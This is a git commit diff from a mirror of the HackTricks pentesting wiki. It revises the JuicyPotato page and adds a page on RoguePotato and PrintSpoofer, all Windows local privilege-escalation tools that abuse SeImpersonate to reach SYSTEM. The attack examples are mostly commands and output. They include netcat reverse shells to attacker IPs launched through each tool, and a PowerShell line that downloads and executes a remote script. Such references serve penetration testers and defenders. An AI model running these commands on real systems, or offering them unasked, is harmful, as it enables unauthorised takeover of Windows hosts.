mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [#3541] No subject
This commit is contained in:
parent
7dbbd179ab
commit
f74b0f2d60
3 changed files with 95 additions and 44 deletions
|
@ -154,6 +154,7 @@
|
|||
* [PowerUp](windows-hardening/windows-local-privilege-escalation/powerup.md)
|
||||
* [Privilege Escalation Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
* [Privilege Escalation with Autoruns](windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md)
|
||||
* [RoguePotato and PrintSpoofer](windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
* [RottenPotato](windows-hardening/windows-local-privilege-escalation/rottenpotato.md)
|
||||
* [Seatbelt](windows-hardening/windows-local-privilege-escalation/seatbelt.md)
|
||||
* [SeDebug + SeImpersonate copy token](windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md)
|
||||
|
|
|
@ -1,29 +1,32 @@
|
|||
|
||||
# JuicyPotato
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer) and [**RoguePotato**](https://github.com/antonioCoco/RoguePotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. _**Check:**_
|
||||
{% endhint %}
|
||||
|
||||
### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](roguepotato-and-printspoofer.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
# Juicy Potato (abusing the golden privileges) <a href="juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
|
||||
|
||||
## Summary <a href="summary" id="summary"></a>
|
||||
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
### Summary <a href="#summary" id="summary"></a>
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
|
||||
|
||||
|
@ -39,24 +42,24 @@ We discovered that, other than `BITS` there are a several COM servers we can abu
|
|||
|
||||
After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
|
||||
|
||||
## Juicy details <a href="juicy-details" id="juicy-details"></a>
|
||||
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
JuicyPotato allows you to:
|
||||
|
||||
* **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._
|
||||
* **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_
|
||||
* **COM Listening IP address** _bind the server on any IP_
|
||||
* **Process creation mode** _depending on the impersonated user’s privileges you can choose from:_
|
||||
* **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._
|
||||
* **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_
|
||||
* **COM Listening IP address** _bind the server on any IP_
|
||||
* **Process creation mode** _depending on the impersonated user’s privileges you can choose from:_
|
||||
* `CreateProcessWithToken` (needs `SeImpersonate`)
|
||||
* `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
|
||||
* `both`
|
||||
* **Process to launch** _launch an executable or script if the exploitation succeeds_
|
||||
* **Process Argument** _customize the launched process arguments_
|
||||
* **RPC Server address** _for a stealthy approach you can authenticate to an external RPC server_
|
||||
* **RPC Server port** _useful if you want to authenticate to an external server and firewall is blocking port `135`…_
|
||||
* **TEST mode** _mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
||||
* **Process to launch** _launch an executable or script if the exploitation succeeds_
|
||||
* **Process Argument** _customize the launched process arguments_
|
||||
* **RPC Server address** _for a stealthy approach you can authenticate to an external RPC server_
|
||||
* **RPC Server port** _useful if you want to authenticate to an external server and firewall is blocking port `135`…_
|
||||
* **TEST mode** _mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
## Usage <a href="usage" id="usage"></a>
|
||||
### Usage <a href="#usage" id="usage"></a>
|
||||
|
||||
```
|
||||
T:\>JuicyPotato.exe
|
||||
|
@ -75,7 +78,7 @@ Optional args:
|
|||
-n <port>: RPC server listen port (default 135)
|
||||
```
|
||||
|
||||
## Final thoughts <a href="final-thoughts" id="final-thoughts"></a>
|
||||
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**.
|
||||
|
||||
|
@ -85,11 +88,11 @@ The actual solution is to protect sensitive accounts and applications which run
|
|||
|
||||
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
# Examples
|
||||
## Examples
|
||||
|
||||
Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
|
||||
|
||||
## Get a nc.exe reverse shell
|
||||
### Get a nc.exe reverse shell
|
||||
|
||||
```
|
||||
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
|
||||
|
@ -104,47 +107,40 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
|
|||
c:\Users\Public>
|
||||
```
|
||||
|
||||
## Powershell rev
|
||||
### Powershell rev
|
||||
|
||||
```
|
||||
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
|
||||
```
|
||||
|
||||
## Launch a new CMD (if you have RDP access)
|
||||
### Launch a new CMD (if you have RDP access)
|
||||
|
||||
![](<../../.gitbook/assets/image (37).png>)
|
||||
|
||||
# CLSID Problems
|
||||
## CLSID Problems
|
||||
|
||||
Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page:
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
|
||||
## **Checking CLSIDs**
|
||||
### **Checking CLSIDs**
|
||||
|
||||
First, you will need some executables apart from juicypotato.exe.
|
||||
|
||||
Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) and load it into your PS session, and download and execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). That script will create a list of possible CLSIDs to test.
|
||||
|
||||
Then download [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(change the path to the CLSID list and to the juicypotato executable) and execute it. It will start trying every CLSID, and **when the port number changes, it will mean that the CLSID worked**.
|
||||
Then download [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(change the path to the CLSID list and to the juicypotato executable) and execute it. It will start trying every CLSID, and **when the port number changes, it will mean that the CLSID worked**.
|
||||
|
||||
**Check** the working CLSIDs **using the parameter -c**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,54 @@
|
|||
# RoguePotato and PrintSpoofer
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer) and [**RoguePotato**](https://github.com/antonioCoco/RoguePotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
{% endhint %}
|
||||
|
||||
## Quick Demo
|
||||
|
||||
### PrintSpoofer
|
||||
|
||||
```bash
|
||||
c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
[+] Found privilege: SeImpersonatePrivilege
|
||||
|
||||
[+] Named pipe listening...
|
||||
|
||||
[+] CreateProcessAsUser() OK
|
||||
|
||||
NULL
|
||||
|
||||
```
|
||||
|
||||
### RoguePotato
|
||||
|
||||
```bash
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue